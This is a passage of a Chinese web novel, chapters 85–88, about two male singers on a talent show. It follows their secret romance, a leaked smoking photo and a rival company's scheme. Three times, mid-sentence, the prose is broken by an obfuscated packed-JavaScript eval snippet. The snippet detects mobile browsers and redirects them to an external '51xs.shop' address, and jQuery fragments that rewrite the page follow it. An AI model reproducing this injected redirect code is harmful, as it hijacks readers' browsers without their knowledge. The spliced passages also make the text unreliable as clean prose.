“你听清楚,易卿尘,你是我的人,以后离江琳达远点儿,离楚言也远点儿,不然我吃醋了容易发疯,把你关起来、锁起来,任你再怎么哭也没用。” !!! 难不成上了个床,这人竟癫了?这是在逼他出柜吗?易卿尘一双眼睛瞪得溜圆,睫毛狂闪,一脸震惊。不知导演组听了这虎狼之词,能不能消化其中的信息量。 这时,节目组的剧务急匆匆地跑了过来。 易卿尘紧张得头皮发麻。 剧务呼哧带喘地说:“易老师杨老师,看一下你们俩的麦,导演说收不到音了。” 我擦! 不知道什么时候,杨原野早把他俩的麦给关了…… 剧务给他们重新调好了麦,又急匆匆地跑掉了。 杨原野换成一副单纯无辜脸,笑眯眯地问道:“易老师,我刚刚说的话,你同意吗?” 同意什么?同意以后自己男女勿近,同意被你强制爱,同意哭给你助兴?……杨原野居然将他一军! “呃……”这回麦克风连回去了,但是易卿尘对杨原野的疯批程度不太有把握,决定先顺着他,“好,我同意。” 这恋爱关系开始之后,易卿尘发现自己好像一直被牵着鼻子走,搞得他有点儿不爽。 “真好,谢谢易老师。”杨原野很满意,又用唇语补了一个字,“乖。” 易卿尘礼貌地灿笑着拉了个口型,“Fuck you.” 对方回他一个OK的手势。 85.085 投诚 总决赛赛段,除了海岛牌椰子汁,只要冠名商多了两家。一家是新兴的生鲜电商购物app,快刀刀;另一家是全国连锁的健身中心,型格Style。 为了巧妙植入,这次节目组推出的环节叫“唱作人的一天”,让六位歌手聊聊自己日常的生活,顺带做些小游戏。 “首先,我们来问问易卿尘,以今天为例,你的一日三餐是怎么解决的?” 继上次“爱的三十秒”和《新广陵散》之后,易卿尘和杨原野俨然成了这档节目的收视扛把子,美女主持人自然而然第一个把话题抛给了他。 “一日三餐……”不提倒也罢,这一问,易卿尘才意识到自己从昨天晚上到现在,一口饭都没吃过,还被某人反复压榨了一下午。 一个简单的问题能把人卡这么半天,主持人也是无语了,赶紧提示道:“是呀,不知道易老师喜欢什么菜系呢?有人爱吃牛排,有人爱吃海鲜,有人周周都要吃火锅……” 火锅,救命,好饿,别再说了…… 咕噜噜—— 易卿尘的肚子发出了不大不小的一声抗议,主持人眨巴眨巴眼睛住了口。 “哈哈,”用笑声掩盖肚子叫,这招虽然尬,但眼下也没别的办法,“我最近在辟谷,轻断食,其实呢,人是可以通过内气修行来强化身体机能的。” 噗! 易卿尘循声看过去,杨原野那副忍俊不禁的模样真是太欠揍了,都怪他,非要吃兔兔…… 主持人正不知道怎么接话呢,见状赶紧转移话题对象,闪着卡姿兰大眼睛Q道:“小野呢?要不你来分享一下你平时爱吃什么?” 杨原野转了转眼睛,答道:“我想先分享一下我最不爱吃什么。” “好啊,”主持人好奇,“不爱吃什么?” “亏。” ……您倒是不吃亏了,都给别人吃了。 主持人表面淡笑,心里快气冒烟了,他只不过想随便聊聊,好把话题自然而然地引到“网购食材,首选快刀刀”上去,推荐一个生鲜app。没想到一个小任务,撞上两个专门抬杠的,这还能不能愉快地聊天了? 主持人飞给导演一个求救眼神。 “CUT!” 骆佳滨导演英雄救美,果断叫停,跳出来指导:“算了,这题问琳达吧,她是女生,平时网购比较多。” “噢,好!” 江琳达非常配合,开开心心地分享了自己的网购偏好,还主动Q道最近快到中秋节,她想网购些阳澄湖大闸蟹给朋友们。主持人自然而然地推荐起快刀刀生鲜购物app来,还得是女孩子比较能聊得起来。 几位选手又一起做了个小游戏,比赛飙高音震碎玻璃杯。 这六位歌手没有一个是高音Diva,可劲儿尖叫也没能震碎一个杯子,最后,那支坚强的玻璃杯竟被杨原野一不小心徒手捏碎了。玻璃爆掉引起“砰“的一声闷响,易卿尘吓了一跳,本能地想冲上去,却被一旁急着躲闪的段朗星给抓住衣服,反而往后踉跄着退了两三步。 好在这个玻璃杯是特殊材质定制的,破碎后变成均与的小颗粒,没有玻璃刀状的尖角。 杨原野毫发无损,这人胆子大得很,全程哼都没哼一声。 “好险啊,”主持人惊魂未定,拍着胸脯说道,“这本来是我们的一个整蛊环节,这是个个不容易破碎的特殊玻璃杯,没想到竟然被杨原野徒手捏爆了。看来小野平常一定没少健身吧?” 这下可以自然而然地植入下一条硬广——型格Style连锁健身房了,主持人心中暗喜。 因为刚刚让主持人冷过一次场,杨原野这次配合地答道:“是,我每天都会坚持健身。” “太自律了,那你今天都做了什么健身项目呀?”主持人继续问道。 杨原野一时顿住了,神色有些不自然。 段朗星疑惑地拽了下易卿尘的衣角,悄声问道:“人家问他做了什么健身项目,他盯着你看干嘛?” 易卿尘赶忙避开视线,不由得紧张起来。还能为什么,当然是那“健身项目”和他有关了。 “他哪里盯着我了,你看错了。”易卿尘狡辩。 主持人面色稍稍不悦,以为这人又要跟她开杠,不配合她,可是无奈杨原野人气太高,她一个小主持人哪里敢公开给脸色,只能耐着性子引导:“如果小野去的健身房,那一般都会做好几种项目吧?” 杨原野回了回神,意味深长地说:“嗯,我和一个朋友一起健身了一下午,主要是网球双打,还有双人划艇。” “哇!”主持人大喜过望,“太巧了,我们的赞助商型格Style今天提供了一台他们自有品牌的双人划船机到现场,给大家试用。不如我们现在就让工作人员把它抬上来吧!” 那还真是巧,杨原野哪里知道什么划船机已经进化出了双人版本,他只是觉得那个前前后后的姿势比较形象。 心里想着,又忍不住去瞅一旁的易卿尘。 易卿尘简直要被他的眼神烫死了,赶紧弯腰假装系鞋带。段朗星在一旁看着这俩人,狐疑地眯了眯眼睛。 超大型的双人划船机被搬了上来,主持人让杨原野选一个伙伴上来一起试用这台市面上最高端的设备。 易卿尘一共就两根鞋带,一直蹲着也不像话,此刻和剩下五个人一起站在场边,挂着微笑,等着被杨原野叫上去划船。这个混球肯定会选他上去,别问为什么,易卿尘就是知道。 “我选——”杨原野的指尖在下巴上摩挲了几下。 这人还装模作样好像这是个很难的决定似的,呵呵。易卿尘暗想,今天的双人划船视频到时候不知又要被字母站的灵魂剪辑师们剪成什么虎狼场面呢,他一会儿要控制自己,别发出喘息声。 “我选沈世豪吧。” 欸?易卿尘都准备好上台了,没想到杨原野选了别人。这回换他一直盯着杨原野看,可那人现在却不看他了,笑嘻嘻地跟沈世豪一前一后准备划船呢。 原本还在怪杨原野专挑他捉弄,现在又要失落杨原野怎么不选他。易卿尘的心情忽上忽下,看着划船机上的俩男的,明知道什么事儿也没有,还是酸溜溜的。 “哈哈,二位好默契啊,还有两百米,加油冲刺!”主持人在一旁制造气氛。 大家都凑近了,兴奋地等着看杨原野和沈世豪的最终船速,只有易卿尘,靠近了是为了听杨原野有没有在“喘”。他要是喘得狠了,被和沈世豪剪成了小视频,易卿尘一定会第一个去举报该视频。 事实是,杨原野冲刺那几声“喘”得荷尔蒙爆棚,这一段也被剪进了小视频,只不过CP感是个很玄的东西,网友们选的男二号不是沈世豪,硬是用了AI换头技术给换成了易卿尘。粉丝们给这视频取名叫《海军元帅和他的小娇妻先Do后爱》。 录影结束,明星们去各自的休息室卸妆换衣服。 月亮爬上天幕,像颗被咬了一小口的咸蛋黄,再过几天就是中秋节了。 化妆师和小助理们忙完下班了,终于屋里就剩易卿尘和博博两个人了,博博才敢畅所欲言:“偶像,一会儿是我和陆师傅送你回家,还是等小野哥送你?” 杨原野也没主动打过来说要送他,他要是主动让人送,是不是听起来很像别的什么邀请?虽然他也想多和杨原野独处一会儿,不过今天毕竟两人刚深入交流过,今晚还是各自回家休息休息吧。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13473323|131022||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “还是你们送我吧,麻烦你俩要稍微绕个路啦。”易卿尘答道。 “诶?”博博露出个窃笑的表情,小眼睛又迷成了一条缝,“怎么,来的时候不还黏糊得狠吗?易老师在玩儿欲擒故纵?果然驭夫有道啊。” “陈博,你小心等你脱单那天,我把这些话加码加价地还给你。” “哈哈,我好怕啊~”博博假装害怕,打了个抖。 “那咱们走吧。”博博拿好易卿尘的几只袋子,说道。 易卿尘想了想,说:“等我一下,我去隔壁跟他说一声。” “好,快去快回,别把自己搭进去回不来哦。” 易卿尘扒开隔壁杨原野的休息室的门缝,里面空无一人。 人已经走了吗?走了为什么不告诉他一声……不会的,一定还没走。 易卿尘推门走进去,他的物品还零散地摊在化妆台的台面上,摸了一下,咖啡杯还是温的。 沿着走廊各处边走边瞧,都没看见杨原野的人影。行至走廊尽头,易卿尘拉开那扇把手受损的门——初秋的凉风吹乱了他的额发,无限趋近于圆满的月亮悬在眼前。 这里是二楼户外的逃生悬梯,仿造上个世纪纽约建筑形式建造,乳白色的铁艺扶手已经被时间磨出了斑驳的棕色痕迹。 易卿尘正打算退回楼里,却隐约地听见了一男一女的对话声。他向外探出身躯往下看,一楼转角处站着两道人影,背对着他。 月光洒下来,易卿尘仅从淡银色的背影判断也知道,那男的是杨原野。 杨原野从口袋里掏出一个很小的物件递给了那女子,女子穿着风衣戴着帽子,接过东西的时候后背僵直,显得略有些紧张。 易卿尘觉得疑惑,打算下去看看。室外悬梯的出口是封住的,于是他转身拉开门进了楼内,从主楼梯下楼去了。 小白接过U盘,迅速塞进自己包包的夹层里,拉好拉链,十分谨慎。 “你……确定吗?明星抽烟不像早些年那么无所谓了,很容易被上纲上线的。再加上他是易卿尘,你知道吗,静姐对易老师的定位可是‘仙’。翩翩我公子,机巧忽若神,你这几张照片恐怕会害惨他。”小白露出担忧之色。 杨原野看她那样子,问道:“虽然是为了给你爸爸还债,可是之前你几次出手害他,心里还是很愧疚吧?” 怎么会不愧疚?小白至今仍然记得那次鸿门宴,易卿尘先被冤枉损毁古琴,又被接连灌酒,他后来明明有机会离开,可是为了照顾当时假装晕过去的她,是怎么和那些人周旋抗争,一直陪她等到她前男友来接的。 “我干的那些糊涂事不提也罢,”小白怅然道,“倒是你,要不要索性告诉易老师你的计划,免得以后他不信你,你跳进黄河也洗不清。” “……小白,如果换做你是他,我告诉了你,你会怎么做?”杨原野问。 小白想了想,表情从不解变为无奈,“我明白了,如果易老师知道了,是怎么也不会同意让你替他冒险的。他确实是这样的人,你还真的很了解他。” 年少时,在他们都还一文不名的时候就交了心,最是了解。他不是故意要隐瞒易卿尘,只是告诉了他,他一定不会同意,之后再因为心虚,表面露出马脚,就更难办了。 “好吧,我也不劝你了,这个我会带回去给高飞,” 视线里,一抹白色的身影从远处朝他们走来,小白心中一紧,“他来了,我没脸见他,先走了。” 小白转身走了,待易卿尘走到杨原野面前时,只远远看见一个女生钻进一辆mini cooper里,上车的时候碰掉了帽子,露出一个模糊的侧脸剪影,高颅顶,很清瘦,看着莫名有些眼熟。 86.086 晚风 这地方位于两座楼中间,是个小风口,九月的风还算温柔,轻轻吹起易卿尘额前的碎发,露出白皙漂亮的脸蛋,一双眼睛看着那辆开走了的mini cooper。易卿尘疑惑地砖头望向杨原野:“她是谁呀?你们在这儿干嘛呢?” 杨原野痞笑着说:“怎么,吃醋了?” “吃醋?怎么可能。” 易卿尘一脸的无所谓。他要是没看错的话,刚刚那可是一个小美女,杨原野不是gay吗,那他吃什么醋? “这么不在乎,是我长得太安全了,还是你根本就不够喜欢我?” 杨原野摆出一副伤心的丧丧脸,易卿尘就静静地看着他演。等了半天看没人搭理他,杨原野又说:“刚才杯子碎了,我的手都划破了,你也不管?” 鬼扯,易卿尘暗暗翻了个白眼儿,杯子碎的时候他的确紧张坏了,后来剧务拿着急救箱跑上来的时候,他特意围过去看了,杨原野浑身上下连块油皮都没破。 “天啊,哪里破了,快给我看看。”易卿尘略夸张地配合他演戏。 杨原野摊开右手的手掌,指着其中一处说:“这儿,当时没流血,现在疼得厉害。” “……”易卿尘赶紧凑过去,捉住杨原野的指尖,拉过去低下头仔细看,“在哪儿?” 杨原野的手忽然松开翻转,贴着指尖上移,缓慢覆在易卿尘软软的手掌上,五指倏地收紧,牵着手放下去。 易卿尘抬脸看他,明显怔了一怔,意识到被耍了,眉头微微蹙着,隐在黑发间的耳垂开始发烫。 明明已经在一起了,该做的都做了,可是不知为何,这样的牵手却像一把鼓槌,敲得易卿尘的胸腔咚咚响,紧张得仿佛清纯的男大学生。 四周没有人,可随时可能会有人经过,心里明明知道他俩这样被人拍到的后果,可谁也没舍得撒手。 沉默的气氛愈发旖旎,易卿尘又捡起最初的话题:“你还没说呢,刚刚那个人是谁呀?” “哦,她是一个制片人,想找我去给她们电影唱主题曲,要了个demo。”杨原野说得十分自然,易卿尘也不疑有他。 “咳咳——”身后忽然传来一声咳嗽。 易卿尘赶紧把手抽了出来,两人扭头看去,还好是他们都很熟的那个小胖子。 博博站在二楼隔着栏杆看着他们,笑得一脸羡慕:“偶像,咱们该走了!” “好,我这就来。” 好什么好,杨原野抗议道:“你不跟我走吗?” “你就别送我了,怪麻烦的,你也早点回去休息。” 易卿尘没等杨原野再说话,就挥挥手跑开了。这还不快点儿跑,要是被杨原野拐回家去,他的腰恐怕要报废了。年轻人体力旺,他一把老骨头,还得做好打持久战的准备。 - 几日后,沈从南奉楚时唯的命,中秋节之前把楚言接出院,并且务必送去楚家老宅,家里请了最好的私人医生,楚时唯也从帝京公馆搬回了老宅。 “您别挣扎了,老爷子给我下了死命令。”沈从南说。 楚言此刻倚在窗边,揉了揉眉心,说道:“但你别忘了谁给你开工资,你知道我不爱回老宅,更知道我不想跟他们一起过节。” “我当然知道楚总你想跟谁过节,但没办法,老爷子不放心你,非要你回去。你尽管扣我工资,老爷子都会双倍给我补回来,千万别手软。” 沈从南将楚言的物品统统塞进行李箱。 他接着说,“我打听过,中秋节小楚总以及江小姐都会来,上次那一笔在您车祸前一天打给司机老王女婿的七百万,就是出自江小姐的海外户头。今早我从香港那边得到消息,这位江小姐疑似是船务大亨江际中的私生女,作家江鸿的亲妹妹,不过我还在进一步确认这个消息的真假。” “江际中?”楚言垂眸思忖,“我记得跟我们争城南那块地皮的,就是江氏的京北分公司?” “不错,是韦德华贸地产,它虽然是姓韦的在操盘,但背后实际控股人正是江际中。城南那块地据说韦德计划做成京津海运转运仓,专门支持中国电商出海作集散仓储用,还拿了政府不少补贴,他们在珠三角也已经开始布局了。” 沈从南补充道,“对了,我有一回碰见四叔公和韦德华贸的韦总一起在半岛喝茶,现在想想,这其中说不定有什么联系。” “四叔公?从南,我记得家宴那天是四叔公特意嘱咐我带上小尘一起来的,我没记错吧?如果那天小尘没拒绝,那么……” 沈从南倒吸一口凉气,正色道:“楚总,这件事我会尽快查清楚。” 楚言叹道:“好一招釜底抽薪,人都说‘物必先自腐而后虫生’,四叔公这些年干的事儿我也略知一二,没想到他们竟是一伙的。我总觉得自从楚默和江琳达交往之后,对我的敌意越来越大。” “小楚总一向风流,可对这位江小姐却另眼相看。”沈从南说。 “嗯,也难怪,”楚言说,“那江琳达举手投足、穿衣打扮像极了当年伊仁阿姨年轻的样子,楚默这些年一直对伊仁阿姨的死耿耿于怀,自那之后就与我生分了。” “这‘故人之姿’会不会只是一张画皮?那下面不定是一副什么精怪真身……如果真是江氏流落在外的私生女,那她接近小楚总怕也别有目的。”沈从南大胆猜测道。 正说着严肃的话题,楚言忽然神色舒然愉悦,打断沈从南:“小尘来了。” 沈从南顺着楚言视线往窗外望去,街上一个秀颀的身影步入画面,那姿容在人群中是无法忽视的存在。 上次易卿尘答应了要来医院看楚言的,虽然隔了这么多天才头一回过来,他一点也不责怪易卿尘,能来就很好了。 易卿尘拎了个果篮,一束鲜花,俨然是探望病人的标配。视线落在楚言的脸上,他笑笑说道:“你看起来好多了,这行李也收拾了,是要出院了?” 沈从南接过鲜花和水果,说道:“是啊,小尘哥你要是再晚来一会儿,我们就走了。” “幸亏我出门早,”易卿尘说着从包里掏出一个文件袋,递给楚言,“静姐让我把这个亲手交给你,说是很重要的文件,她有事来不了,又信不过别人。” 楚言接过文件袋,打开一看,只有几张空白的A4纸。敢情易卿尘是被吴芷静忽悠着来见他的。 楚言顿时心有戚戚焉,之前的高兴劲儿减了大半,还偏要不死心地问道:“中秋节你打算怎么过?” “我和……我去一个朋友家过节。” 杨原野说郝圆满一直想见见他,姬波夫妻也想趁机热闹热闹,于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13489542|131022||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是说好了,中秋节易卿尘去杨家“见家长”。 看他那弯弯的眉眼和上翘的嘴角,楚言想也知道那个“朋友”是谁了。 “你和他,挺好的?” “嗯。” 话音刚落,易卿尘的手机响了,是博博的电话。 楚言给了个眼神,“接吧。” 易卿尘划开手机,博博的声音仿佛如临大敌:“易老师,你看见了吗?你先别上火,静姐已经在紧急公关了。我马上就去接你,你发我个定位。” “?”易卿尘一脸懵,“你在说啥?” 根据博博说的,易卿尘点开微博,发现艾特他的帖子有几千条。随便点进去,一张高清大图映入眼帘。 照片中,男人半倚着床头,慵懒地抽着一支烟,身上的衬衫扣子系了却像没系,雪白的肩膀和胸膛风光旖旎,一张昳丽的脸掩在淡薄的烟雾背后,虽然低垂着眉眼,但也看得出,不是别人,就是易卿尘。 “怎么了?”楚言拿过易卿尘的手机,在看到这张照片时震惊之余,被撩到起了生理反应。 这张照片拍出了大片水准,那迷人的小猫一样的姿态,很难让人挪得开视线。 因为太颠覆大众对易卿尘形象的认知,这张照片的热度一路飙升,目前已经到了热搜第三。下面评论分成几派: 一派完全被“色气”迷疯,嗷嗷叫着要把人拖到床上去。 【九敏,这就是传说中洁白的黄吗?我一个路人被圈粉了,不能get卿尘哥哥的有难了。】 另一派哭喊着“祛魅了”“梦碎了”,粉丝接受无能,哭着要脱。 【我们的“谪仙”偶像居然是个骚浪烟民,人设崩了啊!】 还有一些呼吁抵制明星抽烟,说会带坏风气和小孩子。 【不敢让我家小孩再看《唱作人》了,会学坏的。】 …… 网上吵得一塌糊涂,易卿尘看着这些讨论感觉懵懵的,甚至没有什么切肤之痛,好像大家说的是一个别的什么人。直到楚言问了个关键问题:“这照片是谁拍的?怎么流出来的?” 易卿尘回了神,快速拿起手机,抬腿往门外走去。楚言一瞬间就明白了这照片是谁拍的。 “是他拍的,可他是不会害小尘的,那这照片能流出去就有蹊跷了,”楚言若有所思,扭头吩咐沈从南道,“你去查一查这事儿,包括车祸的事,我隐约觉得这些都不是独立事件。” “好的,你放心楚总。” 从车祸那晚起,楚时唯早就吩咐了沈从南暗中调查,还拨给他几个能人,下了决心要把楚言身边潜在的祸根连根拔起。 如果是因为自己而连累了易卿尘,楚言是不会原谅自己的。他暗自决定,在事情调查清楚之前,不再妄自接近易卿尘,让外界无端猜测他们的关系。远离他,也许是保护他的最好的办法。 至于这件事的公关,交给吴芷静应该可以放心,他不特别过问吴芷静也会全心全意去做。 楚言从兜里缓缓掏出自己的手机,从网上下载了易卿尘那张吸烟照,并点了“收藏”此照片。 走廊上,易卿尘拨出了杨原野的电话,一个机械女声响起:“对不起,您拨的电话已关机或不在服务区。” 易卿尘终于开始感到一阵心慌。 87.087 神兵 高飞刚和杨原野在一家台球厅私下约见了一面,杨原野走后,高飞一杆把桌上的白球捅进了洞里。妈的,杨原野这个贪婪的小狼崽子,张口就问他要50万,说是拍照片的劳务费,之前俩人可没说过“投名状”要给钱的。 不过像那样的照片,除了杨原野,没有第二个人能拍得到。高飞见了照片,就觉得他找对人了。 高飞一边在心里暗骂杨原野胃口太大,别把自己撑死,一边又自我安慰起来。狼崽子是真贪财,以后的合作免不了还要一直被他坑钱,不过也好,这些转账记录都是把柄,杨原野再想反水怕是不容易了。 出了台球厅,高飞便吩咐秘书用尚星的公司账户给杨原野打去了50万。 #易卿尘抽烟照#的热搜已经挂了一个多小时,高飞终于收到了上面的消息:“小楚总说做得不错。” 呼~总算没白忙活。 另一边,杨原野从台球厅出来便关了手机,径直驱车来到了位于城东的高端别墅区。车子刚停在某栋楼前的水泥车道上,别墅大门就被打开了。 从里面走出来一个黑长直美女,仪态万千,落落大方。见杨原野从车上下来,二人相视一笑。 别墅内客厅的茶几上摆着新煮的英式红茶,蓝莓司康是亲手现烤的。谢清漓抬手向后拢了一拢那如瀑的黑发,媚眼如丝。 她是国际有名的青年钢琴家,尤擅古典钢琴和爵士钢琴,一把好嗓子。这次回国是为了她的第一张爵士歌曲专辑,也是她第一次尝试当歌手。 谢清漓回国待得少,她一向喜静,极少邀请人到自己京北的住所来,可杨原野是个例外。她愿意为杨原野破例做许多事。 “先尝尝我做的茶点,看看有没有退步?” 杨原野正好口渴,拿起一盏红茶,咕咚咕咚,喉结滚动,几口便饮尽,一滴不剩。 谢清漓见状摇了摇头,浅笑道:“真是牛嚼牡丹。” 杨原野放下茶碗,又来一块点心,“骂人不带脏字儿,要不怎么说谢清漓是文化人,我只是个俗人呢。” 杨原野肆意张扬,大而化之,既不古典也不爵士,可是谢清漓偏偏就好这一口。她是李达理的表侄女,当年在台湾,杨原野伤了右手,手术后在李达理家休养了大半个月,那期间一直是谢清漓在家里照顾他。 那年的杨原野是一匹受伤的小野马,满眼的伤心倔强,高烧39度说胡话,一直叫着一个含混的名字。谢清漓没想到一个骄傲的富二代吉他手,竟还是个情种,不知不觉间就爱上了他。可惜后来两人极少有机会见面,这份感情便一直被藏在心底这么多年。 前几天杨原野主动来找她,谢清漓心里又燃起了橙红色的小火苗。聊下来才知道,杨原野言辞恳切有求于她,竟然还是为了当年在台湾把他甩了的那位。 真不知道是哪个女人有这么大魔力,能死死拿捏住杨原野这么多年,谢清漓嫉妒又好奇。 “清漓,上次你答应我的事儿,还算数吧?” 杨原野看起来很赶时间的样子,没什么寒暄,单刀直入。可他上次只说了个大概,这次又不说具体的,就想让她点头答应,也太便宜了吧? “算不算数,你要先给我看了照片我才能定。”谢清漓答。 “你既然这么说,那就是答应了。” 这个狡猾的男人,她怎么就答应了? 谢清漓无奈道:“这可是我的第一支爵士单曲MV,万一实在不合适,你也不能害我啊。” “你自己看吧。” 谢清漓摊开手心:“照片拿来。” “你看现在的微博热搜就知道了。” 谢清漓:? 当易卿尘的那张抽烟照片摆在眼前时,谢清漓一瞬间忘记了要呼吸。 谢清漓暗暗想过很多问题:比如杨原野喜欢的女人是什么样的?她怎么会不要他?他为什么这么痴迷?而谢清漓自己是不是还有机会? 眼下,所有的问题都找到了答案。 谢清漓微微抬眸,意味深长地和杨原野对视,把照片举到他面前。 “是他?” 杨原野点点头,眼睛里只剩求人办事的真诚和恳切。 “你没说过他是个男人。” 杨原野不置可否:“这重要吗?” 当然重要。谢清漓改变不了自己的性别,杨原野不喜欢她不是因为她不够好,只是生理不匹配。这多多少少给了谢清漓一些安慰。 谢清漓回想了一下整件事,揣测道:“你一早知道这照片会流出来,所以特意提前帮我写了一首歌,你让我前天发微博预告这首歌,也是为了他?” 杨原野点了点头。他知道易卿尘的抽烟照片曝光后对他形象有损,于是连夜作了一首歌曲给谢清漓,一旦东窗事发,就让谢清漓站出来说那张照片是MV的剧照,而证据就是歌曲预告,这首歌名叫《前尘并不如烟》。 谢清漓轻叹了一口气,“我其实不太明白,如果是这样,你为什么要我替你保密?作词署上你的名字,让他知道你为他做的这些事,他岂不是会非常感动?” 署了杨原野的名字,他怎么跟高飞那边交代?又怎么向易卿尘解释他的“未卜先知”?自然是万万不能署名的。 “这背后的原因很复杂,你知道的越少越好。现在看了照片,你觉得他合适吗?”杨原野问。 谢清漓慨叹道:“原来《前尘并不如烟》是香烟的烟。不过这张照片确实很有魅力,抛开和你的关系,客观的评价,他的确是最完美的男主角。” “我就知道你一定会答应的。过几天我请你吃大餐。” 杨原野如释重负般呼了口气,随即便站起身来,“我还有事儿,先走了!” 心上人挂在热搜上,杨原野自然是没心思多待,谢清漓心知肚明,于是很贴心地没有留客。 杨原野开车到家,电梯门刚打开,便看见一个人站在他家门口。 易卿尘听到动静,转过身来,对上杨原野的目光。 因为自己的缘故,易卿尘才被推到舆论的风口浪尖,杨原野心中有愧。他要怎么解释那张照片的泄露?易卿尘那么聪明,他一下子紧张起来,生怕故事编不圆,露出马脚。 杨原野的脚步顿了顿,强装镇定地走了过去。只见易卿尘一脸平静,抬抬下巴示意他开门。一般暴风雨来临前,海面总是异常的平静。 “进来吧。” 杨原野做好了被易卿尘责备,跟他大吵一架的准备,悄悄吸了一口气,掏出钥匙开了门。 从身后关了房门,随着喀哒一声落锁,易卿尘像一只轻盈的小鸟,打开翅膀主动抱住了他。 “刚刚怕走廊有监控,我都不敢碰你。”易卿尘趴在他的肩窝,轻声说道。 杨原野微怔,思维有些乱,试探性地问道:“怎么来家里找我了?” 易卿尘闻言直起身子,脸上蔓延出严 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13518035|131022||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肃的神色,“有件事我要问你。” 还是来了。杨原野迅速在脑子里复习一遍之前准备好的说辞,故作淡定地问:“什么事?” “你怎么这样?” “……哪样?” 杨原野目光闪躲,蜷起了手指。 “你说呢?”易卿尘说着低头从包里掏出一个长方形白色小盒子,“手机丢了也不告诉我,喏,我刚给你买了一个新的。” 易卿尘递给他一支全新的苹果手机,盒子还没拆封,带着很淡的全新电子产品特有的气味。 杨原野准备了半天的说辞全无用处,因为易卿尘全心全意地相信他。 “啊,谢谢宝宝。你怎么知道我手机丢了?”杨原野顺着演下去,本来想说照片传到云端或者网盘被黑客盗了,没想到易卿尘直接默认他手机丢了,可能是因为他刚才关机了的缘故。 两人走进客厅,坐进沙发里。易卿尘拉着他的一只手,有些为难地开口:“有件事,我跟你说了,你不要着急,更不要自责,好吗?” “嗯,怎么了?” “你上次拍我的照片,被人发到网上了。” “……” 易卿尘给杨原野讲了一遍事情的经过,说得轻描淡写,还不忘安慰杨原野,让他不要多想。仿佛正在承受舆论轰炸的是杨原野,不是易卿尘。 杨原野把人抱到怀里,抵着额头,蹭了蹭鼻尖。 “小尘,如果有人跟你说,陷害你的人是我,你会相信吗?” 易卿尘抬起脸,水晶般透明的瞳孔轻轻晃了晃,“不信。除非你亲口对我说。” “如果我亲口对你说呢?”一边问,杨原野一边收紧了手臂,生怕易卿尘跑掉似的。 “嗯,如果你亲口说,那就不一样了。因为不管事实真假,你都是不想要我了,要和我分手吧?” 杨原野不知道这件事最后会发展到什么地步,他不敢设想,因为易卿尘如此信任他,如果有一天发现事情的第一层真相,是否还能无条件地继续相信他们的感情。 “怎么会?”杨原野挤出一丝笑容,“我瞎问的,别想了。咱们还是想想眼前这个热搜怎么办吧!静姐那边能撤热搜吗?” “不知道,我一会儿要去公司一趟,他们正在开会讨论呢。” 正说着,易卿尘的手机响了,说曹操曹操到,“是静姐。” 易卿尘很自然地用免提接起了电话。吴芷静在那头言简意赅地说道:“谢清漓愿意出面帮我们,她有一首新歌,很适配你那张照片的氛围,咱们就用那个造型拍一支MV,对外只说是剧照流出就好了。你现在立刻到我给你的地址,咱们今晚就把它拍出来。” 挂掉电话,易卿尘好像没回过神似地,半天才疑惑地对杨原野说:“阿野,你觉不觉得事有蹊跷?谢清漓那样的人,怎么会主动卷进来帮我?” 杨原野摸了摸鼻子,“她要转型做歌手,需要借着你炒热度,很正常吧?” 易卿尘微微眯起眼睛,“可她已经是那样有名的钢琴家了,她可以跟别人炒热度。我如今曝出那样的照片,她就不怕我后续再被曝出什么性丑闻?这样的风险好高啊,我还是觉得不合理。” “别多想了,她愿意帮你自然有她想要的好处,说不定她是你的粉丝呢?古典钢琴和古琴就差俩字,你俩也算有缘。”杨原野三两句话把话题岔过去了,拉住易卿尘往门口走,“我陪你去拍MV,走吧。” 88.088 家人 吴芷静调动了公司里嘴巴最严,最有行动力的一批亲信,两个小时便布好了景,灯光摄影一切准备就绪。 易卿尘再一次穿上了杨原野的那件衬衫,化妆师严格比对着照片里的样子,连头发丝的走向都不能错。 博博把杨原野拉到一边,眯缝着小眼睛八卦道:“小野哥,你俩玩儿得够high的呀,我一看就知道是你俩的床照,别想骗过我的眼睛。看看你把我偶像都带成什么样了,他以前可是个清纯的处男。” 杨原野笑道:“谁以前还不是个处男了?要不是你偶像,我也是个清纯的小饼干。” “我不管,你必须得对我偶像负责,以后万一基情不再,只能是他甩了你,你可不许甩他。” “陈博,你对他是真好,对我也是真狗。” 博博嘿嘿一笑,揽上杨原野的肩膀,轻拍两下,以示安慰。 易卿尘跪坐在床上,摄影助理给他递上一支烟,模仿着那天的姿势神态,导演给易卿尘拍了几段不同角度的单人镜头。 “哥,你说咱们这招能行吗?”博博问道。 